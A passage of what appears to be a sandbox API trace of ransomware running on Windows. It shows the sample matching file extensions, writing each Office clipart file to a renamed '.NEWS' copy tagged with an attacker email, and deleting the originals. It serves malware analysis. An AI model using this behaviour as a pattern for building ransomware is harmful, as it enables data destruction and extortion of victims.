lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.705] lstrlenW (lpString=".7z") returned 3 [0187.705] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0187.705] lstrlenW (lpString=".dbf") returned 4 [0187.705] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0187.705] lstrlenW (lpString=".1cd") returned 4 [0187.705] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0187.706] lstrlenW (lpString=".jpg") returned 4 [0187.706] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.706] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0187.706] lstrlenW (lpString="J0152590.WMF") returned 12 [0187.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0187.707] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=10932) returned 1 [0187.707] CloseHandle (hObject=0x474) returned 1 [0187.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf")) returned 0x220 [0187.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0187.708] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.708] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0187.709] GetLastError () returned 0x0 [0187.709] ReadFile (in: hFile=0x474, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x2ab4, lpOverlapped=0x0) returned 1 [0187.711] WriteFile (in: hFile=0x554, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x2ac0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2ac0, lpOverlapped=0x0) returned 1 [0187.712] ReadFile (in: hFile=0x474, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.712] WriteFile (in: hFile=0x554, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0187.712] SetEndOfFile (hFile=0x554) returned 1 [0187.712] CloseHandle (hObject=0x554) returned 1 [0187.712] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.712] SetEndOfFile (hFile=0x474) returned 1 [0187.727] CloseHandle (hObject=0x474) returned 1 [0187.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.728] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf")) returned 1 [0187.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0187.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0187.730] lstrlenW (lpString=".doc") returned 4 [0187.730] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.730] lstrlenW (lpString=".docx") returned 5 [0187.730] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0187.730] lstrlenW (lpString=".pdf") returned 4 [0187.730] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.730] lstrlenW (lpString=".xls") returned 4 [0187.730] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.730] lstrlenW (lpString=".xlsx") returned 5 [0187.730] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0187.730] lstrlenW (lpString=".ppt") returned 4 [0187.730] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0187.730] lstrlenW (lpString=".zip") returned 4 [0187.730] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.730] lstrlenW (lpString=".rar") returned 4 [0187.730] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.730] lstrlenW (lpString=".bz2") returned 4 [0187.730] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.730] lstrlenW (lpString=".7z") returned 3 [0187.730] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0187.730] lstrlenW (lpString=".dbf") returned 4 [0187.730] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0187.730] lstrlenW (lpString=".1cd") returned 4 [0187.730] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0187.730] lstrlenW (lpString=".jpg") returned 4 [0187.730] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0187.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0187.731] lstrlenW (lpString=".doc") returned 4 [0187.731] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.731] lstrlenW (lpString=".docx") returned 5 [0187.731] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0187.731] lstrlenW (lpString=".pdf") returned 4 [0187.731] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.731] lstrlenW (lpString=".xls") returned 4 [0187.731] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.731] lstrlenW (lpString=".xlsx") returned 5 [0187.731] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0187.731] lstrlenW (lpString=".ppt") returned 4 [0187.731] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0187.731] lstrlenW (lpString=".zip") returned 4 [0187.731] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.731] lstrlenW (lpString=".rar") returned 4 [0187.731] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.731] lstrlenW (lpString=".bz2") returned 4 [0187.731] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.731] lstrlenW (lpString=".7z") returned 3 [0187.731] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0187.731] lstrlenW (lpString=".dbf") returned 4 [0187.731] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0187.731] lstrlenW (lpString=".1cd") returned 4 [0187.731] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0187.731] lstrlenW (lpString=".jpg") returned 4 [0187.731] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.731] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0187.732] lstrlenW (lpString="J0152594.WMF") returned 12 [0187.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0187.733] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=6340) returned 1 [0187.733] CloseHandle (hObject=0x474) returned 1 [0187.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf")) returned 0x220 [0187.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0187.734] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.734] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0187.735] GetLastError () returned 0x0 [0187.735] ReadFile (in: hFile=0x474, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x18c4, lpOverlapped=0x0) returned 1 [0187.930] WriteFile (in: hFile=0x554, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x18d0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x18d0, lpOverlapped=0x0) returned 1 [0187.931] ReadFile (in: hFile=0x474, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.931] WriteFile (in: hFile=0x554, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0187.932] SetEndOfFile (hFile=0x554) returned 1 [0187.932] CloseHandle (hObject=0x554) returned 1 [0187.932] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.932] SetEndOfFile (hFile=0x474) returned 1 [0187.936] CloseHandle (hObject=0x474) returned 1 [0187.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0188.218] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf")) returned 1 [0188.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0188.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0188.517] lstrlenW (lpString=".doc") returned 4 [0188.517] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.517] lstrlenW (lpString=".docx") returned 5 [0188.517] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0188.517] lstrlenW (lpString=".pdf") returned 4 [0188.517] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.517] lstrlenW (lpString=".xls") returned 4 [0188.517] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.517] lstrlenW (lpString=".xlsx") returned 5 [0188.517] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0188.517] lstrlenW (lpString=".ppt") returned 4 [0188.517] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0188.517] lstrlenW (lpString=".zip") returned 4 [0188.517] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.517] lstrlenW (lpString=".rar") returned 4 [0188.517] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.517] lstrlenW (lpString=".bz2") returned 4 [0188.517] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.517] lstrlenW (lpString=".7z") returned 3 [0188.517] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0188.518] lstrlenW (lpString=".dbf") returned 4 [0188.518] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0188.518] lstrlenW (lpString=".1cd") returned 4 [0188.518] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0188.518] lstrlenW (lpString=".jpg") returned 4 [0188.518] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0188.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0188.518] lstrlenW (lpString=".doc") returned 4 [0188.518] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.518] lstrlenW (lpString=".docx") returned 5 [0188.518] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0188.518] lstrlenW (lpString=".pdf") returned 4 [0188.518] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.518] lstrlenW (lpString=".xls") returned 4 [0188.518] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.518] lstrlenW (lpString=".xlsx") returned 5 [0188.518] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0188.518] lstrlenW (lpString=".ppt") returned 4 [0188.518] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0188.518] lstrlenW (lpString=".zip") returned 4 [0188.518] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.518] lstrlenW (lpString=".rar") returned 4 [0188.518] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.519] lstrlenW (lpString=".bz2") returned 4 [0188.519] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.519] lstrlenW (lpString=".7z") returned 3 [0188.519] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0188.519] lstrlenW (lpString=".dbf") returned 4 [0188.519] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0188.519] lstrlenW (lpString=".1cd") returned 4 [0188.519] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0188.519] lstrlenW (lpString=".jpg") returned 4 [0188.519] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.519] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0188.519] lstrlenW (lpString="J0152688.WMF") returned 12 [0188.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0189.775] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=34676) returned 1 [0189.775] CloseHandle (hObject=0x2e8) returned 1 [0189.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf")) returned 0x220 [0190.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0190.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0190.366] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.366] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0190.367] GetLastError () returned 0x0 [0190.367] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x8774, lpOverlapped=0x0) returned 1 [0190.370] WriteFile (in: hFile=0x2c8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x8780, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x8780, lpOverlapped=0x0) returned 1 [0190.371] ReadFile (in: hFile=0x2c4, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0190.372] WriteFile (in: hFile=0x2c8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0190.372] SetEndOfFile (hFile=0x2c8) returned 1 [0190.372] CloseHandle (hObject=0x2c8) returned 1 [0190.372] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.372] SetEndOfFile (hFile=0x2c4) returned 1 [0190.376] CloseHandle (hObject=0x2c4) returned 1 [0190.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0190.376] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf")) returned 1 [0190.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0190.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0190.377] lstrlenW (lpString=".doc") returned 4 [0190.377] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.377] lstrlenW (lpString=".docx") returned 5 [0190.377] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0190.377] lstrlenW (lpString=".pdf") returned 4 [0190.378] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.378] lstrlenW (lpString=".xls") returned 4 [0190.378] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.378] lstrlenW (lpString=".xlsx") returned 5 [0190.378] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0190.378] lstrlenW (lpString=".ppt") returned 4 [0190.378] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0190.378] lstrlenW (lpString=".zip") returned 4 [0190.378] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.378] lstrlenW (lpString=".rar") returned 4 [0190.378] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.378] lstrlenW (lpString=".bz2") returned 4 [0190.378] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.378] lstrlenW (lpString=".7z") returned 3 [0190.378] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0190.378] lstrlenW (lpString=".dbf") returned 4 [0190.378] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0190.378] lstrlenW (lpString=".1cd") returned 4 [0190.378] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0190.378] lstrlenW (lpString=".jpg") returned 4 [0190.378] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0190.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0190.378] lstrlenW (lpString=".doc") returned 4 [0190.378] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.378] lstrlenW (lpString=".docx") returned 5 [0190.378] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0190.378] lstrlenW (lpString=".pdf") returned 4 [0190.378] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.378] lstrlenW (lpString=".xls") returned 4 [0190.378] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.378] lstrlenW (lpString=".xlsx") returned 5 [0190.378] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0190.379] lstrlenW (lpString=".ppt") returned 4 [0190.379] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0190.379] lstrlenW (lpString=".zip") returned 4 [0190.379] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.379] lstrlenW (lpString=".rar") returned 4 [0190.379] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.379] lstrlenW (lpString=".bz2") returned 4 [0190.379] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.379] lstrlenW (lpString=".7z") returned 3 [0190.379] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0190.379] lstrlenW (lpString=".dbf") returned 4 [0190.379] lstrcmpiW (lpString1=".dbf", 